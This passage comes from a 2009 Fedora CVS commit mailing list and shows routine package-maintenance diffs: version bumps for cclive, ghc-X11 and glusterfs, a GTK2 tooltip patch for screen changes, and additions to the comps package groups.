+++ sources	31 Oct 2009 18:22:48 -0000	1.3
@@ -1 +1 @@
-73a4ba56b8cef69ce3659ab452e4530b  X11-1.4.5.tar.gz
+c60c94847e59895cd4a54e6405375851  X11-1.4.6.1.tar.gz



From eponyme at fedoraproject.org  Sat Oct 31 18:25:33 2009
From: eponyme at fedoraproject.org (Nicoleau Fabien)
Date: Sat, 31 Oct 2009 18:25:33 +0000 (UTC)
Subject: rpms/cclive/F-11 .cvsignore, 1.10, 1.11 cclive.spec, 1.9,
	1.10 sources, 1.10, 1.11
Message-ID: <20091031182533.BFC6911C00EF@cvs1.fedora.phx.redhat.com>

Author: eponyme

Update of /cvs/pkgs/rpms/cclive/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7404

Modified Files:
	.cvsignore cclive.spec sources 
Log Message:
Update to 0.5.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-11/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	1 Oct 2009 20:11:41 -0000	1.10
+++ .cvsignore	31 Oct 2009 18:25:33 -0000	1.11
@@ -1 +1 @@
-cclive-0.5.2.tar.bz2
+cclive-0.5.4.tar.bz2


Index: cclive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-11/cclive.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- cclive.spec	1 Oct 2009 20:11:41 -0000	1.9
+++ cclive.spec	31 Oct 2009 18:25:33 -0000	1.10
@@ -1,5 +1,5 @@
 Name:           cclive
-Version:        0.5.2
+Version:        0.5.4
 Release:        1%{?dist}
 Summary:        Command line video extraction utility
 
@@ -41,6 +41,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 31 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.4-1
+- Update to 0.5.4
 * Thu Oct  1 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.2-1
 - Update to 0.5.2
 * Sat Sep 19 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.1-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	1 Oct 2009 20:11:41 -0000	1.10
+++ sources	31 Oct 2009 18:25:33 -0000	1.11
@@ -1 +1 @@
-bf8427a6386c439227045bf4dfcae601  cclive-0.5.2.tar.bz2
+976bfeb3be11a278fac9658ae7f0651e  cclive-0.5.4.tar.bz2



From ynemoy at fedoraproject.org  Sat Oct 31 18:29:17 2009
From: ynemoy at fedoraproject.org (Yaakov Meir Nemoy)
Date: Sat, 31 Oct 2009 18:29:17 +0000 (UTC)
Subject: rpms/ghc-X11/F-12 ghc-X11.spec,1.17,1.18 sources,1.2,1.3
Message-ID: <20091031182917.BC87511C00EF@cvs1.fedora.phx.redhat.com>

Author: ynemoy

Update of /cvs/pkgs/rpms/ghc-X11/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8220

Modified Files:
	ghc-X11.spec sources 
Log Message:
Updated to latest upstream



Index: ghc-X11.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ghc-X11/F-12/ghc-X11.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- ghc-X11.spec	25 Jul 2009 00:03:45 -0000	1.17
+++ ghc-X11.spec	31 Oct 2009 18:29:17 -0000	1.18
@@ -7,8 +7,8 @@
 %global debug_package %{nil}
 
 Name:           ghc-%{pkg_name}
-Version:        1.4.5
-Release:        12%{?dist}
+Version:        1.4.6.1
+Release:        1%{?dist}
 Summary:        Haskell %{pkg_name} library
 
 Group:          Development/Libraries
@@ -139,6 +139,9 @@ fi
 
 
 %changelog
+* Thu Oct 29 2009 Yaakov M. Nemoy <ynemoy at fedoraproject.org> - 1.4.6.1-1
+- update to latest upstream
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.5-12
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ghc-X11/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	6 Mar 2009 19:31:45 -0000	1.2
+++ sources	31 Oct 2009 18:29:17 -0000	1.3
@@ -1 +1 @@
-73a4ba56b8cef69ce3659ab452e4530b  X11-1.4.5.tar.gz
+c60c94847e59895cd4a54e6405375851  X11-1.4.6.1.tar.gz



From ynemoy at fedoraproject.org  Sat Oct 31 18:31:50 2009
From: ynemoy at fedoraproject.org (Yaakov Meir Nemoy)
Date: Sat, 31 Oct 2009 18:31:50 +0000 (UTC)
Subject: rpms/ghc-X11/F-11 ghc-X11.spec,1.5,1.6 sources,1.2,1.3
Message-ID: <20091031183150.7F9E411C00EF@cvs1.fedora.phx.redhat.com>

Author: ynemoy

Update of /cvs/pkgs/rpms/ghc-X11/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8866

Modified Files:
	ghc-X11.spec sources 
Log Message:
Updated to latest upstream



Index: ghc-X11.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ghc-X11/F-11/ghc-X11.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- ghc-X11.spec	30 May 2009 10:01:58 -0000	1.5
+++ ghc-X11.spec	31 Oct 2009 18:31:49 -0000	1.6
@@ -7,8 +7,8 @@
 %global debug_package %{nil}
 
 Name:           ghc-%{pkg_name}
-Version:        1.4.5
-Release:        11%{?dist}
+Version:        1.4.6.1
+Release:        1%{?dist}
 Summary:        Haskell %{pkg_name} library
 
 Group:          Development/Libraries
@@ -139,6 +139,12 @@ fi
 
 
 %changelog
+* Thu Oct 29 2009 Yaakov M. Nemoy <ynemoy at fedoraproject.org> - 1.4.6.1-1
+- update to latest upstream
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.5-12
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat May 16 2009 Jens Petersen <petersen at redhat.com> - 1.4.5-11
 - buildrequires ghc-rpm-macros (cabal2spec-0.16)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ghc-X11/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	6 Mar 2009 19:31:45 -0000	1.2
+++ sources	31 Oct 2009 18:31:49 -0000	1.3
@@ -1 +1 @@
-73a4ba56b8cef69ce3659ab452e4530b  X11-1.4.5.tar.gz
+c60c94847e59895cd4a54e6405375851  X11-1.4.6.1.tar.gz



From mclasen at fedoraproject.org  Sat Oct 31 19:06:14 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat, 31 Oct 2009 19:06:14 +0000 (UTC)
Subject: rpms/gtk2/F-12 fresh-tooltips.patch,1.7,1.8 gtk2.spec,1.428,1.429
Message-ID: <20091031190614.37E9E11C00EF@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17603

Modified Files:
	fresh-tooltips.patch gtk2.spec 
Log Message:
Handle screen changes


fresh-tooltips.patch:
 gtktooltip.c |  279 ++++++++++++++++++++++++++++++++++++++++++++++++++++++-----
 gtkwidget.c  |    8 +
 2 files changed, 268 insertions(+), 19 deletions(-)

Index: fresh-tooltips.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/fresh-tooltips.patch,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- fresh-tooltips.patch	28 Oct 2009 21:32:22 -0000	1.7
+++ fresh-tooltips.patch	31 Oct 2009 19:06:13 -0000	1.8
@@ -1,6 +1,6 @@
 diff -up gtk+-2.18.3/gtk/gtktooltip.c.fresh-tooltips gtk+-2.18.3/gtk/gtktooltip.c
 --- gtk+-2.18.3/gtk/gtktooltip.c.fresh-tooltips	2009-10-16 10:35:45.000000000 -0400
-+++ gtk+-2.18.3/gtk/gtktooltip.c	2009-10-28 17:18:38.124009120 -0400
++++ gtk+-2.18.3/gtk/gtktooltip.c	2009-10-31 14:53:37.120183113 -0400
 @@ -29,6 +29,10 @@
  #include "gtkhbox.h"
  #include "gtkalignment.h"
@@ -20,7 +20,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  
  
  G_DEFINE_TYPE (GtkTooltip, gtk_tooltip, G_TYPE_OBJECT);
-@@ -110,8 +115,25 @@ gtk_tooltip_class_init (GtkTooltipClass 
+@@ -110,8 +115,43 @@ gtk_tooltip_class_init (GtkTooltipClass 
  }
  
  static void
@@ -31,6 +31,25 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +}
 +
 +static void
++on_screen_changed (GtkWidget  *window,
++                   GdkScreen  *previous,
++                   GtkTooltip *tooltip)
++{
++  GdkScreen *screen;
++  GdkColormap *cmap;
++
++  screen = gtk_widget_get_screen (window);
++
++  cmap = NULL;
++  if (gdk_screen_is_composited (screen))
++    cmap = gdk_screen_get_rgba_colormap (screen);
++  if (cmap == NULL)
++    cmap = gdk_screen_get_rgb_colormap (screen);
++
++  gtk_widget_set_colormap (window, cmap);
++}
++
++static void
 +on_realized (GtkWidget  *window,
 +             GtkTooltip *tooltip)
 +{
@@ -41,20 +60,16 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  gtk_tooltip_init (GtkTooltip *tooltip)
  {
 +  GdkScreen *screen;
-+  GdkColormap *rgba;
 +
    tooltip->timeout_id = 0;
    tooltip->browse_mode_timeout_id = 0;
  
-@@ -127,8 +149,15 @@ gtk_tooltip_init (GtkTooltip *tooltip)
+@@ -127,8 +167,12 @@ gtk_tooltip_init (GtkTooltip *tooltip)
    tooltip->last_window = NULL;
  
    tooltip->window = g_object_ref (gtk_window_new (GTK_WINDOW_POPUP));
 +
-+  screen = gtk_widget_get_screen (tooltip->window);
-+  rgba = gdk_screen_get_rgba_colormap (screen);
-+  if (rgba && gdk_screen_is_composited (screen))
-+    gtk_widget_set_colormap (tooltip->window, rgba);
++  on_screen_changed (tooltip->window, NULL, tooltip);
 +
    gtk_window_set_type_hint (GTK_WINDOW (tooltip->window),
  			    GDK_WINDOW_TYPE_HINT_TOOLTIP);
@@ -62,7 +77,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
    gtk_widget_set_app_paintable (tooltip->window, TRUE);
    gtk_window_set_resizable (GTK_WINDOW (tooltip->window), FALSE);
    gtk_widget_set_name (tooltip->window, "gtk-tooltip");
-@@ -145,7 +174,7 @@ gtk_tooltip_init (GtkTooltip *tooltip)
+@@ -145,7 +189,7 @@ gtk_tooltip_init (GtkTooltip *tooltip)
    gtk_widget_show (tooltip->alignment);
  
    g_signal_connect_swapped (tooltip->window, "style-set",
@@ -71,19 +86,21 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
    g_signal_connect_swapped (tooltip->window, "expose-event",
  			    G_CALLBACK (gtk_tooltip_paint_window), tooltip);
  
-@@ -162,6 +191,11 @@ gtk_tooltip_init (GtkTooltip *tooltip)
+@@ -162,6 +206,13 @@ gtk_tooltip_init (GtkTooltip *tooltip)
    gtk_box_pack_start (GTK_BOX (tooltip->box), tooltip->label,
  		      FALSE, FALSE, 0);
  
 +  g_signal_connect (tooltip->window, "composited-changed",
 +                    G_CALLBACK (on_composited_changed), tooltip);
++  g_signal_connect (tooltip->window, "screen-changed",
++                    G_CALLBACK (on_screen_changed), tooltip);
 +  g_signal_connect (tooltip->window, "realize",
 +                    G_CALLBACK (on_realized), tooltip);
 +
    tooltip->custom_widget = NULL;
  }
  
-@@ -318,9 +352,9 @@ gtk_tooltip_set_icon_from_stock (GtkTool
+@@ -318,9 +369,9 @@ gtk_tooltip_set_icon_from_stock (GtkTool
   * Since: 2.14
   */
  void
@@ -96,7 +113,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  {
    g_return_if_fail (GTK_IS_TOOLTIP (tooltip));
  
-@@ -471,27 +505,229 @@ static void
+@@ -471,27 +522,217 @@ static void
  gtk_tooltip_window_style_set (GtkTooltip *tooltip)
  {
    gtk_alignment_set_padding (GTK_ALIGNMENT (tooltip->alignment),
@@ -245,18 +262,6 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +			              GDK_WINDOW_TYPE_HINT_DND);
 +        }
 +#endif
-+#if 0
-+      if (tooltip->window->window)
-+        {
-+          rect.x = 0;
-+          rect.y = 0;
-+          rect.width = width;
-+          rect.height = height;
-+          region = gdk_region_rectangle (&rect);
-+          gdk_window_shape_combine_region (tooltip->window->window, region, 0, 0);
-+          gdk_region_destroy (region);
-+        }
-+#endif
 +      return;
 +    }
 +
@@ -340,7 +345,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  
    return FALSE;
  }
-@@ -631,7 +867,7 @@ find_widget_under_pointer (GdkWindow *wi
+@@ -631,7 +872,7 @@ find_widget_under_pointer (GdkWindow *wi
  
  #ifdef DEBUG_TOOLTIP
    g_print ("event window %p (belonging to %p (%s))  (%d, %d)\n",
@@ -351,7 +356,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  
 diff -up gtk+-2.18.3/gtk/gtkwidget.c.fresh-tooltips gtk+-2.18.3/gtk/gtkwidget.c
 --- gtk+-2.18.3/gtk/gtkwidget.c.fresh-tooltips	2009-10-09 01:00:44.000000000 -0400
-+++ gtk+-2.18.3/gtk/gtkwidget.c	2009-10-28 17:17:02.854003713 -0400
++++ gtk+-2.18.3/gtk/gtkwidget.c	2009-10-31 14:27:50.333957199 -0400
 @@ -2386,6 +2386,14 @@ gtk_widget_class_init (GtkWidgetClass *k
                                                               P_("The length of vertical scroll arrows"),
                                                               1, G_MAXINT, 16,


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.428
retrieving revision 1.429
diff -u -p -r1.428 -r1.429
--- gtk2.spec	28 Oct 2009 21:32:22 -0000	1.428
+++ gtk2.spec	31 Oct 2009 19:06:13 -0000	1.429
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 15%{?dist}
+Release: 16%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -403,6 +403,9 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Matthias Clasen <mclasen at redhta.com> - 2.18.3-16
+- Handle screen changes for tooltips (#531568)
+
 * Wed Oct 28 2009 Matthias Clasen <mclasen at redhta.com> - 2.18.3-15
 - Work around a bug in the X automatic compositor (#531443)
 



From nucleo at fedoraproject.org  Sat Oct 31 20:33:20 2009
From: nucleo at fedoraproject.org (nucleo)
Date: Sat, 31 Oct 2009 20:33:20 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.178,1.179 comps-f13.xml.in,1.67,1.68
Message-ID: <20091031203320.D52D211C00EF@cvs1.fedora.phx.redhat.com>

Author: nucleo

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6624

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:

Added kcometen4, kde-colorscheme-plastik, klatexformula, knemo, kvirc, netstat-nat, psimedia to F12 and F13



Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.178
retrieving revision 1.179
diff -u -p -r1.178 -r1.179
--- comps-f12.xml.in	31 Oct 2009 05:17:28 -0000	1.178
+++ comps-f12.xml.in	31 Oct 2009 20:33:18 -0000	1.179
@@ -2814,6 +2814,7 @@
       <packagereq type="optional">pidgin-libnotify</packagereq>
       <packagereq type="optional">prozilla</packagereq>
       <packagereq type="optional">psi</packagereq>
+      <packagereq type="optional">psimedia</packagereq>
       <packagereq type="optional">putty</packagereq>
       <packagereq type="optional">seamonkey</packagereq>
       <packagereq type="optional">streamtuner</packagereq>
@@ -3720,6 +3721,7 @@
       <packagereq type="optional">kbilliards</packagereq>
       <packagereq type="optional">kchmviewer</packagereq>
       <packagereq type="optional">kcoloredit</packagereq>
+      <packagereq type="optional">kcometen4</packagereq>
       <packagereq type="optional">kde-plasma-ktorrent</packagereq>
       <packagereq type="optional">kde-plasma-networkmanagement</packagereq>
       <packagereq type="optional">kdeadmin</packagereq>
@@ -3729,6 +3731,7 @@
       <packagereq type="optional">kdebase-workspace-googlegadgets</packagereq>
       <packagereq type="optional">kdebase-workspace-wallpapers</packagereq>
       <packagereq type="optional">kdeclassic-icon-theme</packagereq>
+      <packagereq type="optional">kde-colorscheme-plastik</packagereq>
       <packagereq type="optional">kdeedu</packagereq>
       <packagereq type="optional">kdetoys</packagereq>
       <packagereq type="optional">kdissert</packagereq>
@@ -3742,6 +3745,7 @@
       <packagereq type="optional">kmenu-gnome</packagereq>
       <packagereq type="optional">kmid</packagereq>
       <packagereq type="optional">kmymoney2</packagereq>
+      <packagereq type="optional">knemo</packagereq>
       <packagereq type="optional">knetworkmanager</packagereq>
       <packagereq type="optional">kobby</packagereq>
       <packagereq type="optional">koffice-suite</packagereq>
@@ -3752,6 +3756,7 @@
       <packagereq type="optional">ksensors</packagereq>
       <packagereq type="optional">kshutdown</packagereq>
       <packagereq type="optional">ksig</packagereq>
+      <packagereq type="optional">kvirc</packagereq>
       <packagereq type="optional">leonidas-kde-theme-landscape</packagereq>
       <packagereq type="optional">leonidas-kde-theme-lion</packagereq>
       <packagereq type="optional">metamonitor</packagereq>
@@ -4645,6 +4650,7 @@
       <packagereq type="optional">jpilot</packagereq>
       <packagereq type="optional">kdepim</packagereq>
       <packagereq type="optional">keurocalc</packagereq>
+      <packagereq type="optional">klatexformula</packagereq>
       <packagereq type="optional">kmymoney2</packagereq>
       <packagereq type="optional">kmymoney2-aqbanking</packagereq>
       <packagereq type="optional">koffice-suite</packagereq>
@@ -5525,6 +5531,7 @@
       <packagereq type="optional">munin</packagereq>
       <packagereq type="optional">nagios</packagereq>
       <packagereq type="optional">net-snmp-utils</packagereq>
+      <packagereq type="optional">netstat-nat</packagereq>
       <packagereq type="optional">netgo</packagereq>
       <packagereq type="optional">nfswatch</packagereq>
       <packagereq type="optional">nmap-frontend</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- comps-f13.xml.in	31 Oct 2009 18:10:13 -0000	1.67
+++ comps-f13.xml.in	31 Oct 2009 20:33:19 -0000	1.68
@@ -2813,6 +2813,7 @@
       <packagereq type="optional">pidgin-libnotify</packagereq>
       <packagereq type="optional">prozilla</packagereq>
       <packagereq type="optional">psi</packagereq>
+      <packagereq type="optional">psimedia</packagereq>
       <packagereq type="optional">putty</packagereq>
       <packagereq type="optional">seamonkey</packagereq>
       <packagereq type="optional">streamtuner</packagereq>
@@ -3700,6 +3701,7 @@
       <packagereq type="optional">kbilliards</packagereq>
       <packagereq type="optional">kchmviewer</packagereq>
       <packagereq type="optional">kcoloredit</packagereq>
+      <packagereq type="optional">kcometen4</packagereq>
       <packagereq type="optional">kde-plasma-ktorrent</packagereq>
       <packagereq type="optional">kde-plasma-networkmanagement</packagereq>
       <packagereq type="optional">kdeadmin</packagereq>
@@ -3709,6 +3711,7 @@
       <packagereq type="optional">kdebase-workspace-googlegadgets</packagereq>
       <packagereq type="optional">kdebase-workspace-wallpapers</packagereq>
       <packagereq type="optional">kdeclassic-icon-theme</packagereq>
+      <packagereq type="optional">kde-colorscheme-plastik</packagereq>
       <packagereq type="optional">kdeedu</packagereq>
       <packagereq type="optional">kdetoys</packagereq>
       <packagereq type="optional">kdissert</packagereq>
@@ -3722,6 +3725,7 @@
       <packagereq type="optional">kmenu-gnome</packagereq>
       <packagereq type="optional">kmid</packagereq>
       <packagereq type="optional">kmymoney2</packagereq>
+      <packagereq type="optional">knemo</packagereq>
       <packagereq type="optional">knetworkmanager</packagereq>
       <packagereq type="optional">kobby</packagereq>
       <packagereq type="optional">koffice-suite</packagereq>
@@ -3732,6 +3736,7 @@
       <packagereq type="optional">ksensors</packagereq>
       <packagereq type="optional">kshutdown</packagereq>
       <packagereq type="optional">ksig</packagereq>
+      <packagereq type="optional">kvirc</packagereq>
       <packagereq type="optional">leonidas-kde-theme-landscape</packagereq>
       <packagereq type="optional">leonidas-kde-theme-lion</packagereq>
       <packagereq type="optional">metamonitor</packagereq>
@@ -4627,6 +4632,7 @@
       <packagereq type="optional">jpilot</packagereq>
       <packagereq type="optional">kdepim</packagereq>
       <packagereq type="optional">keurocalc</packagereq>
+      <packagereq type="optional">klatexformula</packagereq>
       <packagereq type="optional">kmymoney2</packagereq>
       <packagereq type="optional">kmymoney2-aqbanking</packagereq>
       <packagereq type="optional">koffice-suite</packagereq>
@@ -5490,6 +5496,7 @@
       <packagereq type="optional">munin</packagereq>
       <packagereq type="optional">nagios</packagereq>
       <packagereq type="optional">net-snmp-utils</packagereq>
+      <packagereq type="optional">netstat-nat</packagereq>
       <packagereq type="optional">netgo</packagereq>
       <packagereq type="optional">nfswatch</packagereq>
       <packagereq type="optional">nmap-frontend</packagereq>



From jsteffan at fedoraproject.org  Sat Oct 31 21:00:58 2009
From: jsteffan at fedoraproject.org (Jonathan Steffan)
Date: Sat, 31 Oct 2009 21:00:58 +0000 (UTC)
Subject: rpms/glusterfs/devel import.log, NONE, 1.1 .cvsignore, 1.10,
	1.11 glusterfs.spec, 1.15, 1.16 sources, 1.10, 1.11
Message-ID: <20091031210058.0C7CB11C00EF@cvs1.fedora.phx.redhat.com>

Author: jsteffan

Update of /cvs/pkgs/rpms/glusterfs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14826/devel

Modified Files:
	.cvsignore glusterfs.spec sources 
Added Files:
	import.log 
Log Message:
Update to 2.0.7. Add glusterfs-volgen. Add more documentation.



--- NEW FILE import.log ---
glusterfs-2_0_7-1_fc11:HEAD:glusterfs-2.0.7-1.fc11.src.rpm:1257022756


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/glusterfs/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	12 Sep 2009 17:38:59 -0000	1.10
+++ .cvsignore	31 Oct 2009 21:00:56 -0000	1.11
@@ -1 +1 @@
-glusterfs-2.0.6.tar.gz
+glusterfs-2.0.7.tar.gz


Index: glusterfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glusterfs/devel/glusterfs.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- glusterfs.spec	17 Sep 2009 06:25:49 -0000	1.15
+++ glusterfs.spec	31 Oct 2009 21:00:57 -0000	1.16
@@ -1,4 +1,11 @@
 #define pre rc8
+## NOTE: Lots of files in various subdirectories have the same name (such as
+## "LICENSE") so this short macro allows us to distinguish them by using their
+## directory names (from the source tree) as prefixes for the files.
+## Usage: add_to_doc_files subdirname files
+%define add_to_doc_files() \
+%{__mkdir_p} %{buildroot}%{_docdir}/%{name}-%{version}/%1 ||: ; \
+%{__cp} -p %2 %{buildroot}%{_docdir}/%{name}-%{version}/%1 
 
 # Possible rpmbuild options
 %{?_without_ibverbs:%define _without_ibverbs --disable-ibverbs}
@@ -10,27 +17,27 @@
 %define _without_python --disable-python
 %endif
 
-Summary: Cluster File System
-Name: glusterfs
-Version: 2.0.6
-Release: 2%{?pre:.%{pre}}%{?dist}
-License: GPLv3+
-Group: System Environment/Base
-URL: http://www.gluster.org/
-Source0: http://ftp.gluster.com/pub/gluster/glusterfs/2.0/%{version}/glusterfs-%{version}%{?pre}.tar.gz
-Source1: glusterfsd.init
-Source2: glusterfsd.sysconfig
-Source3: umount.glusterfs
-Source4: glusterfs.logrotate
-Source5: glusterfsd.logrotate
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
+Summary: 	Cluster File System
+Name: 		glusterfs
+Version: 	2.0.7
+Release: 	1%{?pre:.%{pre}}%{?dist}
+License: 	GPLv3+
+Group: 		System Environment/Base
+URL: 		http://www.gluster.org/
+Source0: 	http://ftp.gluster.com/pub/gluster/glusterfs/2.0/%{version}/glusterfs-%{version}%{?pre}.tar.gz
+Source1: 	glusterfsd.init
+Source2: 	glusterfsd.sysconfig
+Source3: 	umount.glusterfs
+Source4: 	glusterfs.logrotate
+Source5: 	glusterfsd.logrotate
+BuildRoot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/service, /sbin/chkconfig
 Requires(postun): /sbin/service
 %{!?_without_ibverbs:BuildRequires: libibverbs-devel}
 %{!?_without_client:BuildRequires: fuse-devel}
 %{!?_without_python:BuildRequires: python-devel}
-BuildRequires: flex, bison, byacc
+BuildRequires: 	flex, bison, byacc
 
 %description
 GlusterFS is a clustered file-system capable of scaling to several
@@ -43,10 +50,10 @@ is in userspace and easily manageable.
 
 
 %package common
-Summary: GlusterFS common files for both the client and the server
-Group: System Environment/Libraries
-Obsoletes: glusterfs-libs < 2.0.0
-Provides: glusterfs-libs = %{version}-%{release}
+Summary: 	GlusterFS common files for both the client and the server
+Group: 		System Environment/Libraries
+Obsoletes: 	glusterfs-libs < 2.0.0
+Provides: 	glusterfs-libs = %{version}-%{release}
 
 %description common
 GlusterFS is a clustered file-system capable of scaling to several
@@ -62,10 +69,10 @@ translator modules common to both Gluste
 
 
 %package client
-Summary: GlusterFS Client
-Group: Applications/File
-Requires: fuse
-Requires: %{name}-common = %{version}-%{release}
+Summary: 	GlusterFS Client
+Group: 		Applications/File
+Requires: 	fuse
+Requires: 	%{name}-common = %{version}-%{release}
 
 %description client
 GlusterFS is a clustered file-system capable of scaling to several
@@ -80,9 +87,9 @@ This package provides the FUSE based Glu
 
 
 %package server
-Summary: GlusterFS Server
-Group: System Environment/Daemons
-Requires: %{name}-common = %{version}-%{release}
+Summary: 	GlusterFS Server
+Group: 		System Environment/Daemons
+Requires: 	%{name}-common = %{version}-%{release}
 
 %description server
 GlusterFS is a clustered file-system capable of scaling to several
@@ -95,11 +102,10 @@ is in userspace and easily manageable.
 
 This package provides the glusterfs server daemon.
 
-
 %package devel
-Summary: GlusterFS Development Libraries
-Group: Development/Libraries
-Requires: %{name}-common = %{version}-%{release}
+Summary: 	GlusterFS Development Libraries
+Group: 		Development/Libraries
+Requires: 	%{name}-common = %{version}-%{release}
 
 %description devel
 GlusterFS is a clustered file-system capable of scaling to several
@@ -171,6 +177,13 @@ done
 %{__install} -D -p -m 0644 %{SOURCE5} \
     %{buildroot}%{_sysconfdir}/logrotate.d/glusterfsd
 
+# Install volgen tool
+%{__install} -D -p -m 0755 extras/glusterfs-volgen.py \
+    %{buildroot}%{_bindir}/glusterfs-volgen
+
+# Install extra documentation
+%add_to_doc_files benchmarking extras/benchmarking/{*.c,README,*.sh}
+
 
 %clean
 %{__rm} -rf %{buildroot}
@@ -197,11 +210,13 @@ fi
 
 
 %files common
-%doc AUTHORS ChangeLog COPYING NEWS README
+%doc AUTHORS ChangeLog COPYING NEWS README extras/{glusterfs-mode.el,glusterfs.vim}
+%{_docdir}/%{name}-%{version}/benchmarking
 %{_libdir}/glusterfs/
 %{_libdir}/*.so.*
 %{_sbindir}/glusterfs
 %{_sbindir}/glusterfsd
+%{_bindir}/glusterfs-volgen
 %{_mandir}/man8/glusterfs.8*
 %dir /var/log/glusterfs/
 
@@ -232,6 +247,12 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Jonathan Steffan <jsteffan at fedoraproject.org> - 2.0.7-1
+- Update to 2.0.7
+- Install glusterfs-volgen, until it's properly added to automake
+  by upstream
+- Add macro to be able to ship more docs
+
 * Thu Sep 17 2009 Peter Lemenkov <lemenkov at gmail.com> 2.0.6-2
 - Rebuilt with new fuse
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/glusterfs/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	12 Sep 2009 17:38:59 -0000	1.10
+++ sources	31 Oct 2009 21:00:57 -0000	1.11
@@ -1 +1 @@
-dfa42bfc34d799888a1e3032f9143c72  glusterfs-2.0.6.tar.gz
+ed8968a8671fecd7f7eec7c746c8608c  glusterfs-2.0.7.tar.gz



From jsteffan at fedoraproject.org  Sat Oct 31 21:01:45 2009
From: jsteffan at fedoraproject.org (Jonathan Steffan)
Date: Sat, 31 Oct 2009 21:01:45 +0000 (UTC)
Subject: rpms/glusterfs/F-11 import.log, NONE, 1.1 .cvsignore, 1.8,
	1.9 glusterfs.spec, 1.13, 1.14 sources, 1.8, 1.9
Message-ID: <20091031210145.3721E11C00EF@cvs1.fedora.phx.redhat.com>

Author: jsteffan

Update of /cvs/pkgs/rpms/glusterfs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15188/F-11

Modified Files:
	.cvsignore glusterfs.spec sources 
Added Files:
	import.log 
Log Message:



--- NEW FILE import.log ---
glusterfs-2_0_7-1_fc11:F-11:glusterfs-2.0.7-1.fc11.src.rpm:1257022817


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/glusterfs/F-11/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
